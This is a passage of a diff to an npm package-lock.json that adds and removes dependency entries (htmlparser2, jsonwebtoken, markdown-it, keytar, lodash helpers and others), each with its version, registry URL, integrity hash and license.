+    },
+    "node_modules/htmlparser2": {
+      "version": "10.1.0",
+      "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-10.1.0.tgz",
+      "integrity": "sha512-VTZkM9GWRAtEpveh7MSF6SjjrpNVNNVJfFup7xTY3UpFtm67foy9HDVXneLtFVt4pMz5kZtgNcvCniNFb1hlEQ==",
+      "dev": true,
+      "funding": [
+        "https://github.com/fb55/htmlparser2?sponsor=1",
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "domelementtype": "^2.3.0",
+        "domhandler": "^5.0.3",
+        "domutils": "^3.2.2",
+        "entities": "^7.0.1"
+      }
+    },
+    "node_modules/htmlparser2/node_modules/entities": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/entities/-/entities-7.0.1.tgz",
+      "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "engines": {
+        "node": ">=0.12"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/entities?sponsor=1"
       }
     },
-    "node_modules/highlight.js": {
-      "version": "11.11.1",
-      "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.11.1.tgz",
-      "integrity": "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w==",
-      "license": "BSD-3-Clause",
+    "node_modules/http-proxy-agent": {
+      "version": "7.0.2",
+      "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz",
+      "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "agent-base": "^7.1.0",
+        "debug": "^4.3.4"
+      },
       "engines": {
-        "node": ">=12.0.0"
+        "node": ">= 14"
       }
     },
-    "node_modules/html-encoding-sniffer": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-6.0.0.tgz",
-      "integrity": "sha512-CV9TW3Y3f8/wT0BRFc1/KAVQ3TUHiXmaAb6VW9vtiMFf7SLoMd1PdAc4W3KFOFETBJUb90KatHqlsZMWV+R9Gg==",
+    "node_modules/https-proxy-agent": {
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz",
+      "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@exodus/bytes": "^1.6.0"
+        "agent-base": "^7.1.2",
+        "debug": "4"
       },
       "engines": {
-        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+        "node": ">= 14"
       }
     },
     "node_modules/httpsnippet": {
@@ -2245,6 +3829,41 @@
         "node": "^14.19.1 || ^16.14.2 || ^18.0.0 || ^20.0.0"
       }
     },
+    "node_modules/iconv-lite": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
+      "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "safer-buffer": ">= 2.1.2 < 3.0.0"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/ieee754": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
+      "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "BSD-3-Clause",
+      "optional": true
+    },
     "node_modules/ignore": {
       "version": "5.3.2",
       "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz",
@@ -2255,6 +3874,35 @@
         "node": ">= 4"
       }
     },
+    "node_modules/index-to-position": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/index-to-position/-/index-to-position-1.2.0.tgz",
+      "integrity": "sha512-Yg7+ztRkqslMAS2iFaU+Oa4KTSidr63OsFGlOrJoW981kIYO3CGCS3wA95P1mUi/IVSJkn0D479KTJpVpvFNuw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/inherits": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+      "dev": true,
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/ini": {
+      "version": "1.3.8",
+      "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+      "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
+      "dev": true,
+      "license": "ISC",
+      "optional": true
+    },
     "node_modules/is-binary-path": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
@@ -2268,6 +3916,22 @@
         "node": ">=8"
       }
     },
+    "node_modules/is-docker": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-3.0.0.tgz",
+      "integrity": "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==",
+      "dev": true,
+      "license": "MIT",
+      "bin": {
+        "is-docker": "cli.js"
+      },
+      "engines": {
+        "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
     "node_modules/is-extglob": {
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
@@ -2300,6 +3964,25 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/is-inside-container": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/is-inside-container/-/is-inside-container-1.0.0.tgz",
+      "integrity": "sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "is-docker": "^3.0.0"
+      },
+      "bin": {
+        "is-inside-container": "cli.js"
+      },
+      "engines": {
+        "node": ">=14.16"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
     "node_modules/is-number": {
       "version": "7.0.0",
       "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
@@ -2335,6 +4018,70 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/is-wsl": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-3.1.1.tgz",
+      "integrity": "sha512-e6rvdUCiQCAuumZslxRJWR/Doq4VpPR82kqclvcS0efgt430SlGIk05vdCN58+VrzgtIcfNODjozVielycD4Sw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "is-inside-container": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=16"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/istextorbinary": {
+      "version": "9.5.0",
+      "resolved": "https://registry.npmjs.org/istextorbinary/-/istextorbinary-9.5.0.tgz",
+      "integrity": "sha512-5mbUj3SiZXCuRf9fT3ibzbSSEWiy63gFfksmGfdOzujPjW3k+z8WvIBxcJHBoQNlaZaiyB25deviif2+osLmLw==",
+      "dev": true,
+      "license": "Artistic-2.0",
+      "dependencies": {
+        "binaryextensions": "^6.11.0",
+        "editions": "^6.21.0",
+        "textextensions": "^6.11.0"
+      },
+      "engines": {
+        "node": ">=4"
+      },
+      "funding": {
+        "url": "https://bevry.me/fund"
+      }
+    },
+    "node_modules/js-tokens": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+      "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/js-yaml": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.0.tgz",
+      "integrity": "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/puzrin"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/nodeca"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "argparse": "^2.0.1"
+      },
+      "bin": {
+        "js-yaml": "bin/js-yaml.js"
+      }
+    },
     "node_modules/jsdom": {
       "version": "29.1.1",
       "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-29.1.1.tgz",
@@ -2383,6 +4130,26 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/json5": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
+      "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
+      "dev": true,
+      "license": "MIT",
+      "bin": {
+        "json5": "lib/cli.js"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/jsonc-parser": {
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.3.1.tgz",
+      "integrity": "sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/jsonfile": {
       "version": "6.2.0",
       "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz",
@@ -2396,12 +4163,164 @@
         "graceful-fs": "^4.1.6"
       }
     },
+    "node_modules/jsonwebtoken": {
+      "version": "9.0.3",
+      "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-9.0.3.tgz",
+      "integrity": "sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "jws": "^4.0.1",
+        "lodash.includes": "^4.3.0",
+        "lodash.isboolean": "^3.0.3",
+        "lodash.isinteger": "^4.0.4",
+        "lodash.isnumber": "^3.0.3",
+        "lodash.isplainobject": "^4.0.6",
+        "lodash.isstring": "^4.0.1",
+        "lodash.once": "^4.0.0",
+        "ms": "^2.1.1",
+        "semver": "^7.5.4"
+      },
+      "engines": {
+        "node": ">=12",
+        "npm": ">=6"
+      }
+    },
+    "node_modules/jwa": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz",
+      "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "buffer-equal-constant-time": "^1.0.1",
+        "ecdsa-sig-formatter": "1.0.11",
+        "safe-buffer": "^5.0.1"
+      }
+    },
+    "node_modules/jws": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz",
+      "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "jwa": "^2.0.1",
+        "safe-buffer": "^5.0.1"
+      }
+    },
+    "node_modules/keytar": {
+      "version": "7.9.0",
+      "resolved": "https://registry.npmjs.org/keytar/-/keytar-7.9.0.tgz",
+      "integrity": "sha512-VPD8mtVtm5JNtA2AErl6Chp06JBfy7diFQ7TQQhdpWOl6MrCRB+eRbvAZUsbGQS9kiMq0coJsy0W0vHpDCkWsQ==",
+      "dev": true,
+      "hasInstallScript": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "node-addon-api": "^4.3.0",
+        "prebuild-install": "^7.0.1"
+      }
+    },
+    "node_modules/leven": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
+      "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/linkify-it": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-5.0.2.tgz",
+      "integrity": "sha512-ONTm2jCMAVZjgQa/Fy1kScXsuOoF5NPTsoFBdE1KVIZ2vAh/r9+Bqo+0jINCBYnavTPQZz38QzFTme79ENoN3Q==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/puzrin"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/markdown-it"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "uc.micro": "^2.0.0"
+      }
+    },
+    "node_modules/lodash": {
+      "version": "4.18.1",
+      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz",
+      "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/lodash.camelcase": {
       "version": "4.3.0",
       "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz",
       "integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==",
       "license": "MIT"
     },
+    "node_modules/lodash.includes": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz",
+      "integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/lodash.isboolean": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz",
+      "integrity": "sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/lodash.isinteger": {
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz",
+      "integrity": "sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/lodash.isnumber": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz",
+      "integrity": "sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/lodash.isplainobject": {
+      "version": "4.0.6",
+      "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
+      "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/lodash.isstring": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz",
+      "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/lodash.once": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz",
+      "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/lodash.truncate": {
+      "version": "4.4.2",
+      "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz",
+      "integrity": "sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/long": {
       "version": "5.3.2",
       "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz",
@@ -2424,16 +4343,67 @@
       "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==",
       "dev": true,
       "license": "MIT",
-      "dependencies": {
-        "@jridgewell/sourcemap-codec": "^1.5.5"
+      "dependencies": {
+        "@jridgewell/sourcemap-codec": "^1.5.5"
+      }
+    },
+    "node_modules/map-stream": {
+      "version": "0.0.7",
+      "resolved": "https://registry.npmjs.org/map-stream/-/map-stream-0.0.7.tgz",
+      "integrity": "sha512-C0X0KQmGm3N2ftbTGBhSyuydQ+vV1LC3f3zPvT3RXHXNZrvfPZcoXp/N5DOa8vedX/rTMm2CjTtivFg2STJMRQ==",
+      "license": "MIT"
+    },
+    "node_modules/markdown-it": {
+      "version": "14.3.0",
+      "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-14.3.0.tgz",
+      "integrity": "sha512-RCEsPjR+sr0x+AuYp601tKTkgFG4YEPLCzHST3cQ/fhlJkqAkz1L2/Qbp1j9qw5SBwQHFBoW8+hoN5xssOF0Tw==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/puzrin"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/markdown-it"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "argparse": "^2.0.1",
+        "entities": "^4.5.0",
+        "linkify-it": "^5.0.2",
+        "mdurl": "^2.0.0",
+        "punycode.js": "^2.3.1",
+        "uc.micro": "^2.1.0"
+      },
+      "bin": {
+        "markdown-it": "bin/markdown-it.mjs"
+      }
+    },
+    "node_modules/markdown-it/node_modules/entities": {
+      "version": "4.5.0",
+      "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz",
+      "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "engines": {
+        "node": ">=0.12"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/entities?sponsor=1"
+      }
+    },
+    "node_modules/math-intrinsics": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
+      "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
       }
     },
-    "node_modules/map-stream": {
-      "version": "0.0.7",
-      "resolved": "https://registry.npmjs.org/map-stream/-/map-stream-0.0.7.tgz",
-      "integrity": "sha512-C0X0KQmGm3N2ftbTGBhSyuydQ+vV1LC3f3zPvT3RXHXNZrvfPZcoXp/N5DOa8vedX/rTMm2CjTtivFg2STJMRQ==",
-      "license": "MIT"
-    },
     "node_modules/mdn-data": {
       "version": "2.27.1",
       "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.27.1.tgz",
@@ -2441,6 +4411,13 @@
       "dev": true,
       "license": "CC0-1.0"
     },
+    "node_modules/mdurl": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-2.0.0.tgz",
+      "integrity": "sha512-Lf+9+2r+Tdp5wXDXC4PcIBjTDtq4UKjCPMQhKIuzpJNW0b96kVqSwW0bT7FhRSfmAiFYgP+SCRvdrDozfh0U5w==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/merge2": {
       "version": "1.4.1",
       "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
@@ -2465,6 +4442,19 @@
         "node": ">=8.6"
       }
     },
+    "node_modules/mime": {
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+      "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
+      "dev": true,
+      "license": "MIT",
+      "bin": {
+        "mime": "cli.js"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
     "node_modules/mime-db": {
       "version": "1.52.0",
       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
@@ -2486,6 +4476,79 @@
         "node": ">= 0.6"
       }
     },
+    "node_modules/mimic-response": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",
+      "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/minimatch": {
+      "version": "10.2.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz",
+      "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==",
+      "dev": true,
+      "license": "BlueOak-1.0.0",
+      "dependencies": {
+        "brace-expansion": "^5.0.5"
+      },
+      "engines": {
+        "node": "18 || 20 || >=22"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/minimist": {
+      "version": "1.2.8",
+      "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
+      "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/minipass": {
+      "version": "7.1.3",
+      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
+      "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
+      "dev": true,
+      "license": "BlueOak-1.0.0",
+      "engines": {
+        "node": ">=16 || 14 >=14.17"
+      }
+    },
+    "node_modules/mkdirp-classic": {
+      "version": "0.5.3",
+      "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz",
+      "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/mute-stream": {
+      "version": "0.0.8",
+      "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz",
+      "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==",
+      "dev": true,
+      "license": "ISC"
+    },
     "node_modules/nanoid": {
       "version": "3.3.11",
       "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
@@ -2505,6 +4568,36 @@
         "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
       }
     },
+    "node_modules/napi-build-utils": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-2.0.0.tgz",
+      "integrity": "sha512-GEbrYkbfF7MoNaoh2iGG84Mnf/WZfB0GdGEsM8wz7Expx/LlWf5U8t9nvJKXSp3qr5IsEbK04cBGhol/KwOsWA==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/node-abi": {
+      "version": "3.94.0",
+      "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.94.0.tgz",
+      "integrity": "sha512-W5ZNO5KRPB5TkYmGVD9F6YqhsglXJzE6etpbmT+f6EQElhiX/UTG551cnsRGvLG3fyZEg9HwaDmNmj5nwJ4z9g==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "semver": "^7.3.5"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/node-addon-api": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-4.3.0.tgz",
+      "integrity": "sha512-73sE9+3UaLYYFmDsFZnqCInzPyh3MqIwZO9cw58yIqAZhONrrabrYyYe3TuIqtIiOuTXVhsGau8hcrhhwSsDIQ==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true
+    },
     "node_modules/node-readable-to-web-readable-stream": {
       "version": "0.4.2",
       "resolved": "https://registry.npmjs.org/node-readable-to-web-readable-stream/-/node-readable-to-web-readable-stream-0.4.2.tgz",
@@ -2512,6 +4605,70 @@
       "license": "MIT",
       "optional": true
     },
+    "node_modules/node-sarif-builder": {
+      "version": "3.4.0",
+      "resolved": "https://registry.npmjs.org/node-sarif-builder/-/node-sarif-builder-3.4.0.tgz",
+      "integrity": "sha512-tGnJW6OKRii9u/b2WiUViTJS+h7Apxx17qsMUjsUeNDiMMX5ZFf8F8Fcz7PAQ6omvOxHZtvDTmOYKJQwmfpjeg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@types/sarif": "^2.1.7",
+        "fs-extra": "^11.1.1"
+      },
+      "engines": {
+        "node": ">=20"
+      }
+    },
+    "node_modules/node-sarif-builder/node_modules/fs-extra": {
+      "version": "11.3.6",
+      "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.6.tgz",
+      "integrity": "sha512-w8ZNZr2mKIc7qeNaQ9AVPT1+iFaI+Avd4xudVOvdDJ8VytREi1Ft5Ih7hd9jjehod8vAM5GMsfQ/TpPf4EyoEA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "graceful-fs": "^4.2.0",
+        "jsonfile": "^6.0.1",
+        "universalify": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=14.14"
+      }
+    },
+    "node_modules/normalize-package-data": {
+      "version": "6.0.2",
